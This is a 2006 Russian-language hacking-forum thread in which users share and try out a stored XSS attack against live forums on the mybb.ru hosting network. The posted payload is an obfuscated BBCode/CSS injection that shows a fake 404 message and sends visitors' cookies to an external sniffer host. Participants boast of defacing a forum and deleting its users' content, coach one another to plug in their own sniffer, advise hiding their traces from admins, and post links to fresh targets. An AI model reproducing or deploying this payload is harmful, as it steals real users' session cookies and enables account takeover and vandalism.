Форумы Mybb.ru - прощай :)

Discussion in 'Уязвимости CMS/форумов' started by GOOFY, 31 Oct 2006.

Thread Status:
Not open for further replies.
  1. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    Знакомимся :) бб...
    http://night.5bb.ru/, дифейсик через обычную xss (отправил сегодня в раздел видео, буду надеятся, что добавят :))
    таким же макаром можно задифейсить любой из сети форумов - mybb.ru, 1bb 2bb и тд...
    жду комментов :)
     
    11 people like this.
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Где ж тут дефейс. Просто написание матершины, и всё:) А так молодец. Если правда конечно же. Ибо это можно и самому такой форум сделать, и всё в настройках прописать.
     
    #2 .Slip, 31 Oct 2006
    Last edited: 31 Oct 2006
    1 person likes this.
  3. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    [sL1p]:
    Всмысле правда? Ну так попакостили с напарником им немного, рассылку сделали, причем пришел ответ от одного обиженного -
    . именно сейчас делаю мощную зачистку - форум тает на глазах :) 270 юзеров в бешенстве :) нефиг вампирами быть :)
     
  4. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Выложи код xss, через которую ты это всё взломал.
     
    2 people like this.
  5. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    вот и она...
    PHP:
    [email=XSS@XSS[url=style=background:url(javascript:document.write(String.fromCharCode(1054,1096,1080,1073,1082,1072,32,52,48,52,60,115,99,114,105,112,116,62,105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,32,105,109,103,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,99,111,109,112,45,105,110,102,111,46,114,117,47,112,105,99,47,105,109,97,103,101,46,106,112,103,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,60,47,115,99,114,105,112,116,62,32)));display:none;][/url]][/email]
     
    1 person likes this.
  6. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    а деф голимый.. мягко говоря..
     
  7. IOBOWAN

    IOBOWAN New Member

    Joined:
    15 Sep 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    2
    http://rap.5bb.ru/viewtopic.php?pid=596#p596
    у меня не прокатила(
     
  8. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    Digimortal:
    лично мне было неохото особо то возиться с ними :) зато сайт свой порекламил немного :)
    IOBOWAN:
    lol :) ты не догадался исправить путь к сниферу на свой? :) грубо говоря ты сделал 20% работы и думал, что пассы сами к тебе свалются :)
     
  9. -Concord-

    -Concord- Elder - Старейшина

    Joined:
    16 Jun 2006
    Messages:
    158
    Likes Received:
    191
    Reputations:
    68
    Хм. я это тоже не понял... допустим картинка у меня на http://antichat.org/s/serversmchat.gif то какой должен быть код. напишите кто знает.
     
  10. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    держите видео, может кому пригодится, незнаю когда на а.чате в видео опубликуют, если вообще опубликуют...
    http://flood3r.com/files/mybb.rar (2,5 Mb)

    !achtung
    друзья, не пакостите сильно, а то через 2 дня ничего работать не будет(
    после захвата форума, удалите созданные вами "злые" темы, дабы не палить
    xss глупым админам сервиса.
     
    1 person likes this.
  11. IOBOWAN

    IOBOWAN New Member

    Joined:
    15 Sep 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    2
    блин ктонибуть может перевправить код под стандартный сниффер?
     
  12. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    читайте статьи на а.чате, там это точно было. это обычный декод (аля - 2 это 1+1) :)
     
  13. Geniy

    Geniy New Member

    Joined:
    19 Apr 2006
    Messages:
    14
    Likes Received:
    4
    Reputations:
    0
    Ну не весь mybb. Часть майбб на инвижине - например 0bb.ru
     
  14. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    а другая часть на жувачке? :D
    ну насколько я знаю, майбб это в расшифровке - мой буллетин боард, если так, то все форумы, независимо, от 0bb или 1bb (RUHELP Goodboard Webtalk MyBB 0bb 1bb 3bb 4bb 5bb это все клоны), это одни и теже яйца. (модефикации булки короче, как я понял)
     
  15. IOBOWAN

    IOBOWAN New Member

    Joined:
    15 Sep 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    2
    молодец канешна
    плюс однозначно заслужил
    но никто не подскажет где расшифровать эти цифры что в коде
    помню у меня ссылка буржуйская была тама статья про хсс
    там был калькулятор
    но после формат с ничо неосталось
    мож кто подкинет сылочку
     
  16. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    Geniy:
    sorry, может ты и прав, что не одни это теже движки... незнаю...
     
  17. Geniy

    Geniy New Member

    Joined:
    19 Apr 2006
    Messages:
    14
    Likes Received:
    4
    Reputations:
    0
    0bb,1bb,2bb - IPB
    3bb,4bb,5bb - PUN

    Фича работает ток на движке пун..
     
  18. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    а mybb это ведь пан?
    p/s - http://glebclub.4bb.ru/viewtopic.php?pid=16104#p16104 ждем пассов :)
     
    1 person likes this.
  19. Geniy

    Geniy New Member

    Joined:
    19 Apr 2006
    Messages:
    14
    Likes Received:
    4
    Reputations:
    0
    Сам mybb.ru - да PUN
     
    1 person likes this.
  20. IOBOWAN

    IOBOWAN New Member

    Joined:
    15 Sep 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    2
    а на webtalk проканает сабж?
     
Thread Status:
Not open for further replies.